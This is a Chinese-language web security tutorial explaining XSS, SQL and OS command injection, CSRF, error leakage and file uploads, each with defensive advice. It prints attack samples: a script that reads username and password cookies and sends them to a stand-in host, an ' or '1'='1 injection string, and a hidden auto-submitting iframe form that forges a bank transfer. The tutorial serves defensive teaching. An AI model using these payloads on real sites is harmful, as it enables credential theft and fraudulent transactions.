1、XSS(反射、持久型)
跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
案例:
因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入
这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子
利用xss窃取用户名密码
当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。
恶意用户会这么输入
我们看看http://test.com/hack.js里藏了什么
var username=CookieHelper.getCookie('username').value; var password=CookieHelper.getCookie('password').value; var script =document.createElement('script'); script.src='http://test.com/index.php?username='+username+'&password='+password; document.body.appendChild(script);
几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php
发送了一个get请求,这样很简单用户信息就被获取了。
解决方案:
其实XSS的核心都是利用了脚本注入,因此我们解决办法其实很简单,不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题,当然很多解决方案都对XSS做了特定限制,对自己站点不放心可以看看这个XSS跨站测试代码大全试试站点是否安全。
2、注入攻击(sql、OS)
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
案例:
当点击login进行登录的时候,我们后台会对用户名和密码进行验证,正常情况下我们的SQL是这样的:
select * from user where username='admin' and password='输入的密码'
当我们以后输入的是' or '1' = '1' or '1' = '1 SQL是这样的:
select * from user where username='admin' and password='1' or '1'='1'
以上两个SQL语句的where条件永远是成立的,所以验证永远是有效的。这样恶意用户只要知道你的密码就可以登录成功了。
解决方案:
1、对用户的输入,进行严格的验证。
2、对应用的连接数据库的用户权限最小化。
3、永远不要使用动态拼装sql,mybatis和hibernate都采用了预编译的功能,sql都是先编译,然后用参数替换占位符,这样就很好的避免SQL注入。
话说回来,是否我们使用mybatis就一定可以防止sql注入呢?当然不是,请看下面的代码:
<select id=“orderBlog“ resultType=“Blog“ parameterType=”map”>
select id,title,author,content from blog order by ${orderParam}
</select>
仔细观察,内联参数的格式由“#{xxx}”变为了${xxx}。如果我们给参数“orderParam”赋值为”id”,将sql打印出来,是这样的:
select id,title,author,content from blog order by id
显然,这样是无法阻止sql注入
结论:在编写mybatis的映射语句时,尽量采用“#{xxx}”这样的格式。若不得不使用“${xxx}”这样的参数,要手工地做好过滤工作,来防止sql注入攻击。
os注入
OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的。OS命令注入即能够在服务器上执行任意命令。
如何防止OS命令注入:
不要调用外部程序。举个例子,在UNIX系统上,有一个叫CGI的程序,可以执行sendmail命令来发送邮件。也许你的web应用程序也有发送邮件的功能,通过直接调用CGI程序发送邮件非常的简单,但是不要这样做,因为在执行sendmail命令的同时,也会混杂进其他OS命令,正确的做法是使用发送邮件的library。
过滤调 、; ,[ ,] ,| ,< ,> ,\ 之类的符号
设置用户的权限
3、CSRF(冒充用户之手)
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。
攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。
案例:
银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危险网站B,它里面有一段HTML的代码如下:
首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块......
为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作......
为了杜绝上面的问题,银行决定改用POST请求完成转账操作。
银行网站A的WEB表单如下:
< p > ToBankId: < input type ="text" name ="toBankId" /></ p >
< p > Money: < input type ="text" name ="money" /></ p >
< p >< input type ="submit" value =" Transfer " /></ p >
</ form >
后台处理页面Transfer.php如下:
session_start ();
if ( isset ( $_REQUEST [ ' toBankId ' ] && isset ( $_REQUEST [ ' money ' ]))
{
buy_stocks( $_REQUEST [ ' toBankId ' ] , $_REQUEST [ ' money ' ]);
}
?>
危险网站B,仍然只是包含那句HTML代码:
和示例1中的操作一样,你首先登录了银行网站A,然后访问危险网站B,结果.....和示例1一样,你再次没了1000块~T_T,这次事故的原因是:银行后台使用了$_REQUEST去获取请求的数据,而$_REQUEST既可以获取GET请求的数据,也可以获取POST请求的数据,这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中,可以使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。
经过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下:
session_start ();
if ( isset ( $_POST [ ' toBankId ' ] && isset ( $_POST [ ' money ' ]))
{
buy_stocks( $_POST [ ' toBankId ' ] , $_POST [ ' money ' ]);
}
?>
然而,危险网站B与时俱进,它改了一下代码:
< head >
< script type ="text/javascript" >
function steal()
{
iframe = document.frames[ " steal " ];
iframe.document.Submit( " transfer " );
}
</ script >
</ head >
< body onload ="steal()" >
< iframe name ="steal" display ="none" >
< form method ="POST" name ="transfer" action ="http://www.myBank.com/Transfer.php" >
< input type ="hidden" name ="toBankId" value ="11" >
< input type ="hidden" name ="money" value ="1000" >
</ form >
</ iframe >
</ body >
</ html >
如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!
总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,因为触发条件很简单,一个<img>就可以了,而第3种比较麻烦,需要使用JavaScript,所以使用的机会会比前面的少很多,但无论是哪种情况,只要触发了CSRF攻击,后果都有可能很严重。
理解上面的3种攻击模式,其实可以看出,CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的!
解决方案:
一般防御CSRF有三种方法,判断referer、验证码、token。一般我们常用的作法是将后台的请求方法修改成post请求方式+token的方式来防范XSCF攻击。
有一个博客讲的挺不错,推荐大家看一下。点击打开链接
4、其他(Error code 、html注释、文件上传)
Error Code 将错误信息直接返回前端,这样就给了黑客有机可趁的机会,获得错误信息之后,对漏洞进行攻击,防范的手段也很简单,就是通过配置web服务器的参数,来控制出现异常情况后统一返回到异常页面。
html注释尽量少在html页面写注释了。
文件上传一般常见的网站都会有文件上传功能,例如设置头像,附件等等,如果上传的是病毒文件,那么它可以在你服务器上为所欲为了,一般我们都会对上传的文件指定类型。
5、web应用防火墙
apache mod_security是一个集入侵检测和防御引擎功能的开源web应用安全程序(或web应用程序防火墙).它以Apache Web服务器的模块方式运行, 目标是增强web应用程序的安全性, 防止web应用程序受到已知或未知的攻击。